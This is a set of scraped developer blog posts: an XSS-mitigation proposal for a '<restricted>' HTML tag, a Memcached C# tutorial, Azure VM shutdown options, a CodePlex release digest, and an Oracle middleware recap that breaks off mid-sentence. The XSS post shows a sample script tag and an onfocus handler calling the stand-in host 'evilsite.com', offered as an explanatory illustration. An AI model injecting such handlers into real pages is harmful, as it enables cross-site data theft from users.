display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  HTML5  HTML  Security   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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  • First round playing with Memcached

    - by Shaun
    To be honest I have not been very interested in the caching before I’m going to a project which would be using the multi-site deployment and high connection and concurrency and very sensitive to the user experience. That means we must cache the output data for better performance. After looked for the Internet I finally focused on the Memcached. What’s the Memcached? I think the description on its main site gives us a very good and simple explanation. Free & open source, high-performance, distributed memory object caching system, generic in nature, but intended for use in speeding up dynamic web applications by alleviating database load. Memcached is an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering. Memcached is simple yet powerful. Its simple design promotes quick deployment, ease of development, and solves many problems facing large data caches. Its API is available for most popular languages. The original Memcached was built on *nix system are is being widely used in the PHP world. Although it’s not a problem to use the Memcached installed on *nix system there are some windows version available fortunately. Since we are WISC (Windows – IIS – SQL Server – C#, which on the opposite of LAMP) it would be much easier for us to use the Memcached on Windows rather than *nix. I’m using the Memcached Win X64 version provided by NorthScale. There are also the x86 version and other operation system version.   Install Memcached Unpack the Memcached file to a folder on the machine you want it to be installed, we can see that there are only 3 files and the main file should be the “memcached.exe”. Memcached would be run on the server as a service. To install the service just open a command windows and navigate to the folder which contains the “memcached.exe”, let’s say “C:\Memcached\”, and then type “memcached.exe -d install”. If you are using Windows Vista and Windows 7 system please be execute the command through the administrator role. Right-click the command item in the start menu and use “Run as Administrator”, otherwise the Memcached would not be able to be installed successfully. Once installed successful we can type “memcached.exe -d start” to launch the service. Now it’s ready to be used. The default port of Memcached is 11211 but you can change it through the command argument. You can find the help by typing “memcached -h”.   Using Memcached Memcahed has many good and ready-to-use providers for vary program language. After compared and reviewed I chose the Memcached Providers. It’s built based on another 3rd party Memcached client named enyim.com Memcached Client. The Memcached Providers is very simple to set/get the cached objects through the Memcached servers and easy to be configured through the application configuration file (aka web.config and app.config). Let’s create a console application for the demonstration and add the 3 DLL files from the package of the Memcached Providers to the project reference. Then we need to add the configuration for the Memcached server. Create an App.config file and firstly add the section on top of it. Here we need three sections: the section for Memcached Providers, for enyim.com Memcached client and the log4net. 1: <configSections> 2: <section name="cacheProvider" 3: type="MemcachedProviders.Cache.CacheProviderSection, MemcachedProviders" 4: allowDefinition="MachineToApplication" 5: restartOnExternalChanges="true"/> 6: <sectionGroup name="enyim.com"> 7: <section name="memcached" 8: type="Enyim.Caching.Configuration.MemcachedClientSection, Enyim.Caching"/> 9: </sectionGroup> 10: <section name="log4net" 11: type="log4net.Config.Log4NetConfigurationSectionHandler,log4net"/> 12: </configSections> Then we will add the configuration for 3 of them in the App.config file. The Memcached server information would be defined under the enyim.com section since it will be responsible for connect to the Memcached server. Assuming I installed the Memcached on two servers with the default port, the configuration would be like this. 1: <enyim.com> 2: <memcached> 3: <servers> 4: <!-- put your own server(s) here--> 5: <add address="192.168.0.149" port="11211"/> 6: <add address="10.10.20.67" port="11211"/> 7: </servers> 8: <socketPool minPoolSize="10" maxPoolSize="100" connectionTimeout="00:00:10" deadTimeout="00:02:00"/> 9: </memcached> 10: </enyim.com> Memcached supports the multi-deployment which means you can install the Memcached on the servers as many as you need. The protocol of the Memcached responsible for routing the cached objects into the proper server. So it’s very easy to scale-out your system by Memcached. And then define the Memcached Providers configuration. The defaultExpireTime indicates how long the objected cached in the Memcached would be expired, the default value is 2000 ms. 1: <cacheProvider defaultProvider="MemcachedCacheProvider"> 2: <providers> 3: <add name="MemcachedCacheProvider" 4: type="MemcachedProviders.Cache.MemcachedCacheProvider, MemcachedProviders" 5: keySuffix="_MySuffix_" 6: defaultExpireTime="2000"/> 7: </providers> 8: </cacheProvider> The last configuration would be the log4net. 1: <log4net> 2: <!-- Define some output appenders --> 3: <appender name="ConsoleAppender" type="log4net.Appender.ConsoleAppender"> 4: <layout type="log4net.Layout.PatternLayout"> 5: <conversionPattern value="%date [%thread] %-5level %logger [%property{NDC}] - %message%newline"/> 6: </layout> 7: </appender> 8: <!--<threshold value="OFF" />--> 9: <!-- Setup the root category, add the appenders and set the default priority --> 10: <root> 11: <priority value="WARN"/> 12: <appender-ref ref="ConsoleAppender"> 13: <filter type="log4net.Filter.LevelRangeFilter"> 14: <levelMin value="WARN"/> 15: <levelMax value="FATAL"/> 16: </filter> 17: </appender-ref> 18: </root> 19: </log4net>   Get, Set and Remove the Cached Objects Once we finished the configuration it would be very simple to consume the Memcached servers. The Memcached Providers gives us a static class named DistCache that can be used to operate the Memcached servers. Get<T>: Retrieve the cached object from the Memcached servers. If failed it will return null or the default value. Add: Add an object with a unique key into the Memcached servers. Assuming that we have an operation that retrieve the email from the name which is time consuming. This is the operation that should be cached. The method would be like this. I utilized Thread.Sleep to simulate the long-time operation. 1: static string GetEmailByNameSlowly(string name) 2: { 3: Thread.Sleep(2000); 4: return name + "@ethos.com.cn"; 5: } Then in the real retrieving method we will firstly check whether the name, email information had been searched previously and cached. If yes we will just return them from the Memcached, otherwise we will invoke the slowly method to retrieve it and then cached. 1: static string GetEmailByName(string name) 2: { 3: var email = DistCache.Get<string>(name); 4: if (string.IsNullOrEmpty(email)) 5: { 6: Console.WriteLine("==> The name/email not be in memcached so need slow loading. (name = {0})==>", name); 7: email = GetEmailByNameSlowly(name); 8: DistCache.Add(name, email); 9: } 10: else 11: { 12: Console.WriteLine("==> The name/email had been in memcached. (name = {0})==>", name); 13: } 14: return email; 15: } Finally let’s finished the calling method and execute. 1: static void Main(string[] args) 2: { 3: var name = string.Empty; 4: while (name != "q") 5: { 6: Console.Write("==> Please enter the name to find the email: "); 7: name = Console.ReadLine(); 8:  9: var email = GetEmailByName(name); 10: Console.WriteLine("==> The email of {0} is {1}.", name, email); 11: } 12: } The first time I entered “ziyanxu” it takes about 2 seconds to get the email since there’s nothing cached. But the next time I entered “ziyanxu” it returned very quickly from the Memcached.   Summary In this post I explained a bit on why we need cache, what’s Memcached and how to use it through the C# application. The example is fairly simple but hopefully demonstrated on how to use it. Memcached is very easy and simple to be used since it gives you the full opportunity to consider what, when and how to cache the objects. And when using Memcached you don’t need to consider the cache servers. The Memcached would be like a huge object pool in front of you. The next step I’m thinking now are: What kind of data should be cached? And how to determined the key? How to implement the cache as a layer on top of the business layer so that the application will not notice that the cache is there. How to implement the cache by AOP so that the business logic no need to consider the cache. I will investigate on them in the future and will share my thoughts and results.   Hope this helps, Shaun All documents and related graphics, codes are provided "AS IS" without warranty of any kind. Copyright © Shaun Ziyan Xu. This work is licensed under the Creative Commons License.

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  • Windows Azure VMs - New "Stopped" VM Options Provide Cost-effective Flexibility for On-Demand Workloads

    - by KeithMayer
    Originally posted on: http://geekswithblogs.net/KeithMayer/archive/2013/06/22/windows-azure-vms---new-stopped-vm-options-provide-cost-effective.aspxDidn’t make it to TechEd this year? Don’t worry!  This month, we’ll be releasing a new article series that highlights the Best of TechEd announcements and technical information for IT Pros.  Today’s article focuses on a new, much-heralded enhancement to Windows Azure Infrastructure Services to make it more cost-effective for spinning VMs up and down on-demand on the Windows Azure cloud platform. NEW! VMs that are shutdown from the Windows Azure Management Portal will no longer continue to accumulate compute charges while stopped! Previous to this enhancement being available, the Azure platform maintained fabric resource reservations for VMs, even in a shutdown state, to ensure consistent resource availability when starting those VMs in the future.  And, this meant that VMs had to be exported and completely deprovisioned when not in use to avoid compute charges. In this article, I'll provide more details on the scenarios that this enhancement best fits, and I'll also review the new options and considerations that we now have for performing safe shutdowns of Windows Azure VMs. Which scenarios does the new enhancement best fit? Being able to easily shutdown VMs from the Windows Azure Management Portal without continued compute charges is a great enhancement for certain cloud use cases, such as: On-demand dev/test/lab environments - Freely start and stop lab VMs so that they are only accumulating compute charges when being actively used.  "Bursting" load-balanced web applications - Provision a number of load-balanced VMs, but keep the minimum number of VMs running to support "normal" loads. Easily start-up the remaining VMs only when needed to support peak loads. Disaster Recovery - Start-up "cold" VMs when needed to recover from disaster scenarios. BUT ... there is a consideration to keep in mind when using the Windows Azure Management Portal to shutdown VMs: although performing a VM shutdown via the Windows Azure Management Portal causes that VM to no longer accumulate compute charges, it also deallocates the VM from fabric resources to which it was previously assigned.  These fabric resources include compute resources such as virtual CPU cores and memory, as well as network resources, such as IP addresses.  This means that when the VM is later started after being shutdown from the portal, the VM could be assigned a different IP address or placed on a different compute node within the fabric. In some cases, you may want to shutdown VMs using the old approach, where fabric resource assignments are maintained while the VM is in a shutdown state.  Specifically, you may wish to do this when temporarily shutting down or restarting a "7x24" VM as part of a maintenance activity.  Good news - you can still revert back to the old VM shutdown behavior when necessary by using the alternate VM shutdown approaches listed below.  Let's walk through each approach for performing a VM Shutdown action on Windows Azure so that we can understand the benefits and considerations of each... How many ways can I shutdown a VM? In Windows Azure Infrastructure Services, there's three general ways that can be used to safely shutdown VMs: Shutdown VM via Windows Azure Management Portal Shutdown Guest Operating System inside the VM Stop VM via Windows PowerShell using Windows Azure PowerShell Module Although each of these options performs a safe shutdown of the guest operation system and the VM itself, each option handles the VM shutdown end state differently. Shutdown VM via Windows Azure Management Portal When clicking the Shutdown button at the bottom of the Virtual Machines page in the Windows Azure Management Portal, the VM is safely shutdown and "deallocated" from fabric resources.  Shutdown button on Virtual Machines page in Windows Azure Management Portal  When the shutdown process completes, the VM will be shown on the Virtual Machines page with a "Stopped ( Deallocated )" status as shown in the figure below. Virtual Machine in a "Stopped (Deallocated)" Status "Deallocated" means that the VM configuration is no longer being actively associated with fabric resources, such as virtual CPUs, memory and networks. In this state, the VM will not continue to allocate compute charges, but since fabric resources are deallocated, the VM could receive a different internal IP address ( called "Dynamic IPs" or "DIPs" in Windows Azure ) the next time it is started.  TIP: If you are leveraging this shutdown option and consistency of DIPs is important to applications running inside your VMs, you should consider using virtual networks with your VMs.  Virtual networks permit you to assign a specific IP Address Space for use with VMs that are assigned to that virtual network.  As long as you start VMs in the same order in which they were originally provisioned, each VM should be reassigned the same DIP that it was previously using. What about consistency of External IP Addresses? Great question! External IP addresses ( called "Virtual IPs" or "VIPs" in Windows Azure ) are associated with the cloud service in which one or more Windows Azure VMs are running.  As long as at least 1 VM inside a cloud service remains in a "Running" state, the VIP assigned to a cloud service will be preserved.  If all VMs inside a cloud service are in a "Stopped ( Deallocated )" status, then the cloud service may receive a different VIP when VMs are next restarted. TIP: If consistency of VIPs is important for the cloud services in which you are running VMs, consider keeping one VM inside each cloud service in the alternate VM shutdown state listed below to preserve the VIP associated with the cloud service. Shutdown Guest Operating System inside the VM When performing a Guest OS shutdown or restart ( ie., a shutdown or restart operation initiated from the Guest OS running inside the VM ), the VM configuration will not be deallocated from fabric resources. In the figure below, the VM has been shutdown from within the Guest OS and is shown with a "Stopped" VM status rather than the "Stopped ( Deallocated )" VM status that was shown in the previous figure. Note that it may require a few minutes for the Windows Azure Management Portal to reflect that the VM is in a "Stopped" state in this scenario, because we are performing an OS shutdown inside the VM rather than through an Azure management endpoint. Virtual Machine in a "Stopped" Status VMs shown in a "Stopped" status will continue to accumulate compute charges, because fabric resources are still being reserved for these VMs.  However, this also means that DIPs and VIPs are preserved for VMs in this state, so you don't have to worry about VMs and cloud services getting different IP addresses when they are started in the future. Stop VM via Windows PowerShell In the latest version of the Windows Azure PowerShell Module, a new -StayProvisioned parameter has been added to the Stop-AzureVM cmdlet. This new parameter provides the flexibility to choose the VM configuration end result when stopping VMs using PowerShell: When running the Stop-AzureVM cmdlet without the -StayProvisioned parameter specified, the VM will be safely stopped and deallocated; that is, the VM will be left in a "Stopped ( Deallocated )" status just like the end result when a VM Shutdown operation is performed via the Windows Azure Management Portal.  When running the Stop-AzureVM cmdlet with the -StayProvisioned parameter specified, the VM will be safely stopped but fabric resource reservations will be preserved; that is the VM will be left in a "Stopped" status just like the end result when performing a Guest OS shutdown operation. So, with PowerShell, you can choose how Windows Azure should handle VM configuration and fabric resource reservations when stopping VMs on a case-by-case basis. TIP: It's important to note that the -StayProvisioned parameter is only available in the latest version of the Windows Azure PowerShell Module.  So, if you've previously downloaded this module, be sure to download and install the latest version to get this new functionality. Want to Learn More about Windows Azure Infrastructure Services? To learn more about Windows Azure Infrastructure Services, be sure to check-out these additional FREE resources: Become our next "Early Expert"! Complete the Early Experts "Cloud Quest" and build a multi-VM lab network in the cloud for FREE!  Build some cool scenarios! Check out our list of over 20+ Step-by-Step Lab Guides based on key scenarios that IT Pros are implementing on Windows Azure Infrastructure Services TODAY!  Looking forward to seeing you in the Cloud! - Keith Build Your Lab! Download Windows Server 2012 Don’t Have a Lab? Build Your Lab in the Cloud with Windows Azure Virtual Machines Want to Get Certified? Join our Windows Server 2012 "Early Experts" Study Group

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  • CodePlex Daily Summary for Sunday, December 26, 2010

    CodePlex Daily Summary for Sunday, December 26, 2010Popular ReleasesNoSimplerAccounting: NoSimplerAccounting 6.0: -Fixed a bug in expense category report.Temporary Data Storage Folder: TDS Folder source code: This is latest version 0.2 Beta code. To know the password request at neutron.request@gmail.comNHibernate Mapping Generator: NHibernate Mapping Generator 2.0: Added support for Postgres (Thanks to Angelo)NewLife XCode: XCode v6.5.2010.1223 ????(????v3.5??): XCode v6.5.2010.1223 ????,??: NewLife.Core ??? NewLife.Net ??? XControl ??? XTemplate ????,??C#?????? XAgent ???? NewLife.CommonEnitty ??????(???,XCode??????) XCode?? ?????????,??????????????????,?????95% XCode v3.5.2009.0714 ??,?v3.5?v6.0???????????????,?????????。v3.5???????????,??????????????。 XCoder ??XTemplate?????????,????????XCode??? XCoder_Src ???????(????XTemplate????),??????????????????Windows Workflow Foundation on Codeplex: Microsoft.Activities.UnitTesting 1.71: New in this release Episode as Tasks using the Task Parallel Library CHM Help file now included in release. StyleCop compliance is resulting in massive refatoring but should not cause breaking changes Breaking Change DefaultTimeout is now a TimeSpan Removed default parameters using int timeout = DefaultTimeout and added overloads insteadMiniTwitter: 1.64: MiniTwitter 1.64 ???? ?? 1.63 ??? URL ??????????????Ajax ASP.Net Forum: InSeCla Forum Software v0.1.9: *VERSION: 0.1.9* HAPPY CHRISTMAS FEATURES ADDED Added features customizabled per category level (Customize at ADMIN/Categories Tab) Allow Anonymous Threads, Allow Anonymous Post Virtual URLs (friendly urls) has finally added And you can have some forum (category) using virtual urls and other using normal urls. Check !, as this improve the SEO indexing results Moderation Instant On: Delete Thread, Move Thread Available to users being members of moderators or administrators InstantO...VivoSocial: VivoSocial 7.4.0: Please see changes: http://support.vivoware.com/project/ChangeLog.aspx?PROJID=48Umbraco CMS: Umbraco 4.6 Beta - codename JUNO: The Umbraco 4.6 beta (codename JUNO) release contains many new features focusing on an improved installation experience, a number of robust developer features, and contains more than 89 bug fixes since the 4.5.2 release. Improved installer experience Updated Starter Kits (Simple, Blog, Personal, Business) Beautiful, free, customizable skins included Skinning engine and Skin customization (see Skinning Documentation Kit) Default dashboards on install with hide option Updated Login t...SSH.NET Library: 2010.12.23: This release includes some bug fixes and few new fetures. Fixes Allow to retrieve big directory structures ssh-dss algorithm is fixed Populate sftp file attributes New Features Support for passhrase when private key is used Support added for diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256 and diffie-hellman-group-exchange-sha1 key exchange algorithms Allow to provide multiple key files for authentication Add support for "keyboard-interactive" authentication method...ASP.NET MVC SiteMap provider: MvcSiteMapProvider 2.3.0: Using NuGet?MvcSiteMapProvider is also listed in the NuGet feed. Learn more... Like the project? Consider a donation!Donate via PayPal via PayPal. Release notesThis will be the last release targeting ASP.NET MVC 2 and .NET 3.5. MvcSiteMapProvider 3.0.0 will be targeting ASP.NET MVC 3 and .NET 4 Web.config setting skipAssemblyScanOn has been deprecated in favor of excludeAssembliesForScan and includeAssembliesForScan ISiteMapNodeUrlResolver is now completely responsible for generating th...SuperSocket, an extensible socket application framework: SuperSocket 1.3 beta 2: Compared with SuperSocket 1.3 beta 1, the changes listed below have been done in SuperSocket 1.3 beta 2: added supports for .NET 3.5 replaced Logging Application Block of EntLib with Log4Net improved the code about logging fixed a bug in QuickStart sample project added IPv6 supportTibiaPinger: TibiaPinger v1.0: TibiaPinger v1.0Media Companion: Media Companion 3.400: Extract the entire archive to a folder which has user access rights, eg desktop, documents etc. A manual is included to get you startedMulticore Task Framework: MTF 1.0.1: Release 1.0.1 of Multicore Task Framework.SQL Monitor - tracking sql server activities: SQL Monitor 3.0 alpha 7: 1. added script save/load in user query window 2. fixed problem with connection dialog when choosing windows auth but still ask for user name 3. auto open user table when double click one table node 4. improved alert message, added log only methodEnhSim: EnhSim 2.2.6 ALPHA: 2.2.6 ALPHAThis release supports WoW patch 4.03a at level 85 To use this release, you must have the Microsoft Visual C++ 2010 Redistributable Package installed. This can be downloaded from http://www.microsoft.com/downloads/en/details.aspx?FamilyID=A7B7A05E-6DE6-4D3A-A423-37BF0912DB84 To use the GUI you must have the .NET 4.0 Framework installed. This can be downloaded from http://www.microsoft.com/downloads/en/details.aspx?FamilyID=9cfb2d51-5ff4-4491-b0e5-b386f32c0992 - Fixing up some r...ASP.NET MVC Project Awesome (jQuery Ajax helpers): 1.4.3: Helpers (controls) that you can use to build highly responsive and interactive Ajax-enabled Web applications. These helpers include Autocomplete, AjaxDropdown, Lookup, Confirm Dialog, Popup Form, Popup and Pager new stuff: Improvements for confirm, popup, popup form RenderView controller extension the user experience for crud in live demo has been substantially improved + added search all the features are shown in the live demoGanttPlanner: GanttPlanner V1.0: GanttPlanner V1.0 include GanttPlanner.dll and also a Demo application.N2 CMS: 2.1 release candidate 3: * Web platform installer support available N2 is a lightweight CMS framework for ASP.NET. It helps you build great web sites that anyone can update. Major Changes Support for auto-implemented properties ({get;set;}, based on contribution by And Poulsen) A bunch of bugs were fixed File manager improvements (multiple file upload, resize images to fit) New image gallery Infinite scroll paging on news Content templates First time with N2? Try the demo site Download one of the templ...New ProjectsA.I. Semantic Net Tests: A test using "semantic net" artificial intelligence developed in C++.Awesome.ClientID: Awesome.ClientID is a HTTPModule which serializes the ClientID of server controls, and page/usercontrol properties to a Json to make working with JavaScript easier without the need for outputting ClientID's. It's a solution for clean ClientIDs for .NET 2.0/3.5BitTweet: BitTweet is a fast, simple and easy to use Twitter client with tweeting, reading and writing functions included. It is know for being the most secure and fast Twitter client out there! It is written in Visual Basic .NET 2008. ~Tweet in a bit!CarRental001: carCrudo: CRUDO - The MCG (Model-Controller-Generator) CGF (Code Generation Framework) Visit The Project HomePage: http://adityayadav.com/CRUDO_The_MCG_Model_Controller_Generator_CGF_Code_Generation_Framework.aspx Licenses: 1) GPL v2 2) Commercial (contact us for information)Effeks: FX trading sample application sing prismEnhanced WebPart: Enhanced Webpart is a webpart with enhanced properties editor. It allows you display properties of most common types, and provides easy way to add custom controls to display your own types in webpart properties editor. Enhanced Webpart fully supports localization.Esteffin's graphic: Esercitazioni grafica 2010farasun: Source code Repository for farasun.wordpress.comGCTF: Desafio .NET Realizado na FACISAImgshow Plugin for Windows Live Writer: By using Imgshow Query you are able to publish multimedia content such as Youtube, Facebook Video, PDF, and other Imgshow supported service.Instant Messenger Using WPF and WCF: instant messenger using wcf and wpfjMenu: Create a dotnetnuke module that cover all kind of jquery menu pluginsMcopy API: Copy all files and directores in windows shell. Support long path (less then 32000 chars) and network path (eg. \\server\share or \\127.0.0.1\share)MOSSWebServices: This project contains code for interacting with the 21 web services provided by MOSS. This is targeted towards WSS developers This currently contains code to interact with "UserGroups" web service. I will keep adding code to interact with other MOSS web services soon. Nest Hub - Twitter Client: Nest Hub is a free Twitter client for PC. It's developed in VB.NET.Neural Networks Library: Neural networks Library by SefnajParallelism: Parallelism- Unified Parallel & Concurrency Framework Visit the Project HomePage: http://adityayadav.com/Parallelism.aspx Licenses: 1) GPL v2 2) Commercial (contact us for information)PDF IRM Protector For SharePoint 2007 And 2010: The PDF IRM Protector controls the conversion of PDF documents to their encrypted, rights-managed format and the decryption of PDF documents from their rights-managed format back to their original format. The project targets both SharePoint 2007 and 2010. PHP Form Validator - Isis: Project Isis simplifies the process of form validation for PHP. Offering a robust flag and function system, allowing you to encode the forms with the correct validation data and be done.Recycle Me: Open Source Project is to help and educate people in regarding reuse and recycling of daily life items. This is a Social project so we need funds for research and surveys. Volunteers are most welcome to contribute and certifications for their participation are available. ThanksSencha ExtJS Import Library for Script#: Script# import library for Sencha Ext JS Javascript Framework Separating Vertices: Given a graph as a collection of edges and vertices, it identifies the separating vertices, biconnected components, and edges. SIG - SISTEMA DE GESTÃO INTERNA: Projeto feito para a empresa MODEMTELECOM, consultoria em telecomunicoções.Smart Card COM: Smart Card COM Library, useful to access smart cards from a Web page in Internet ExplorerSocial Hub: Social HubStock Research: Test project for stocke researchtaokeba: ????????????????????,???????????。Temporary Data Storage Folder: This software creates a folder that stores temporary data that you want to store for temporary tasks. Temporary tasks such as storing a file that is to be deleted after some time. It automatically deleted those files on exit. Learn more at www.neutronsoftwares.weebly.comTukUI Updater: A OpenSource Windows Updater tool for the World of Warcraft(R) addon TukUI Developed in .NET 3.5 Discusion thread are found at the official TukUI forums: http://www.tukui.org/v2/forums/topic.php?id=4982 WebUtil: This is a project for using all of features by the web.

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  • Why Fusion Middleware matters to Oracle Applications and Fusion Applications customers?

    - by Harish Gaur
    Did you miss this general session on Monday morning presented by Amit Zavery, VP of Oracle Fusion Middleware Product Management? There will be a recording made available shortly and in the meanwhile, here is a recap. Amit presented 5 strategies customers can leverage today to extend their applications. Figure 1: 5 Oracle Fusion Middleware strategies to extend Oracle Applications & Oracle Fusion Apps 1. Engage Everyone – Provide intuitive and social experience for application users using Oracle WebCenter 2. Extend Enterprise – Extend Oracle Applications to mobile devices using Oracle ADF Mobile 3. Orchestrate Processes – Automate key organization processes across on-premise & cloud applications using Oracle BPM Suite & Oracle SOA Suite 4. Secure the core – Provide single sign-on and self-service provisioning across multiple apps using Oracle Identity Management 5. Optimize Performance – Leverage Exalogic stack to consolidate multiple instance and improve performance of Oracle Applications Session included 3 demonstrations to illustrate these strategies. 1. First demo highlighted significance of mobile applications for unlocking existing investment in Applications such as EBS. Using a native iPhone application interacting with e-Business Suite, demo showed how expense approval can be mobile enabled with enhanced visibility using BI dashboards. 2. Second demo showed how you can extend a banking process in Siebel and Oracle Policy Automation with Oracle BPM Suite.Process starts in Siebel with a customer requesting a loan, and then jumps to OPA for loan recommendations and decision making and loan processing with approvals in handled in BPM Suite. Once approvals are completed Siebel is updated to complete the process. 3. Final demo showcased FMW components inside Fusion Applications, specifically WebCenter. Boeing, Underwriter Laboratories and Electronic Arts joined this quest and discussed 3 different approaches of leveraging Fusion Middleware stack to maximize their investment in Oracle Applications and/or Fusion Applications technology. Let’s briefly review what these customers shared during the session: 1. Extend Fusion Applications We know that Oracle Fusion Middleware is the underlying technology infrastructure for Oracle Fusion Applications. Architecturally, Oracle Fusion Apps leverages several components of Oracle Fusion Middleware from Oracle WebCenter for rich collaborative interface, Oracle SOA Suite & Oracle BPM Suite for orchestrating key underlying processes to Oracle BIEE for dash boarding and analytics. Boeing talked about how they are using Oracle BPM Suite 11g, a key component of Oracle Fusion Middleware with Oracle Fusion Apps to transform their supply chain. Tim Murnin, Director of Supply Chain talked about Boeing’s 5 year supply chain transformation journey. Boeing’s Integrated and Information Management division began with automation of critical RFQ process using Oracle BPM Suite. This 1st phase resulted in 38% reduction in labor costs for RFP. As a next step in this effort, Boeing is now creating a platform to enable electronic Order Management. Fusion Apps are playing a significant role in this phase. Boeing has gone live with Oracle Fusion Product Hub and efforts are underway with Oracle Fusion Distributed Order Orchestration (DOO). So, where does Oracle BPM Suite 11g fit in this equation? Let me explain. Business processes within Fusion Apps are designed using 2 standards: Business Process Execution Language (BPEL) and Business Process Modeling Notation (BPMN). These processes can be easily configured using declarative set of tools. Boeing leverages Oracle BPM Suite 11g (which supports BPMN 2.0) and Oracle SOA Suite (which supports BPEL) to “extend” these applications. Traditionally, customizations are done within an app using native technologies. But, instead of making process changes within Fusion Apps, Boeing has taken an approach of building “extensions” layer on top of the application. Fig 2: Boeing’s use of Oracle BPM Suite to orchestrate key supply chain processes across Fusion Apps 2. Maximize Oracle Applications investment Fusion Middleware appeals not only to Fusion Apps customers, but is also leveraged by Oracle E-Business Suite, PeopleSoft, Siebel and JD Edwards customers significantly. Using Oracle BPM Suite and Oracle SOA Suite is the recommended extension strategy for Oracle Fusion Apps and Oracle Applications Unlimited customers. Electronic Arts, E-Business Suite customer, spoke about their strategy to transform their order-to-cash process using Oracle SOA Suite, Oracle Foundation Packs and Oracle BAM. Udesh Naicker, Sr Director of IT at Elecronic Arts (EA), discussed how growth of social and digital gaming had started to put tremendous pressure on EA’s existing IT infrastructure. He discussed the challenge with millions of micro-transactions coming from several sources – Microsoft Xbox, Paypal, several service providers. EA found Order-2-Cash processes stretched to their limits. They lacked visibility into these transactions across the entire value chain. EA began by consolidating their E-Business Suite R11 instances into single E-Business Suite R12. EA needed to cater to a variety of service requirements, connectivity methods, file formats, and information latency. Their integration strategy was tactical, i.e., using file uploads, TIBCO, SQL scripts. After consolidating E-Business suite, EA standardized their integration approach with Oracle SOA Suite and Oracle AIA Foundation Pack. Oracle SOA Suite is the platform used to extend E-Business Suite R12 and standardize 60+ interfaces across several heterogeneous systems including PeopleSoft, Demantra, SF.com, Workday, and Managed EDI services spanning on-premise, hosted and cloud applications. EA believes that Oracle SOA Suite 11g based extension strategy has helped significantly in the followings ways: - It helped them keep customizations out of E-Business Suite, thereby keeping EBS R12 vanilla and upgrade safe - Developers are now proficient in technology which is also leveraged by Fusion Apps. This has helped them prepare for adoption of Fusion Apps in the future Fig 3: Using Oracle SOA Suite & Oracle e-Business Suite, Electronic Arts built new platform for order processing 3. Consolidate apps and improve scalability Exalogic is an optimal platform for customers to consolidate their application deployments and enhance performance. Underwriter Laboratories talked about their strategy to run their mission critical applications including e-Business Suite on Exalogic. Christian Anschuetz, CIO of Underwriter Laboratories (UL) shared how UL is on a growth path - $1B to $2.5B in 5 years- and planning a significant business transformation from a not-for-profit to a for-profit business. To support this growth, UL is planning to simplify its IT environment and the deployment complexity associated with ERP applications and technology it runs on. Their current applications were deployed on variety of hardware platforms and lacked comprehensive disaster recovery architecture. UL embarked on a mission to deploy E-Business Suite on Exalogic. UL’s solution is unique because it is one of the first to deploy a large number of Oracle applications and related Fusion Middleware technologies (SOA, BI, Analytical Applications AIA Foundation Pack and AIA EBS to Siebel UCM prebuilt integration) on the combined Exalogic and Exadata environment. UL is planning to move to a virtualized architecture toward the end of 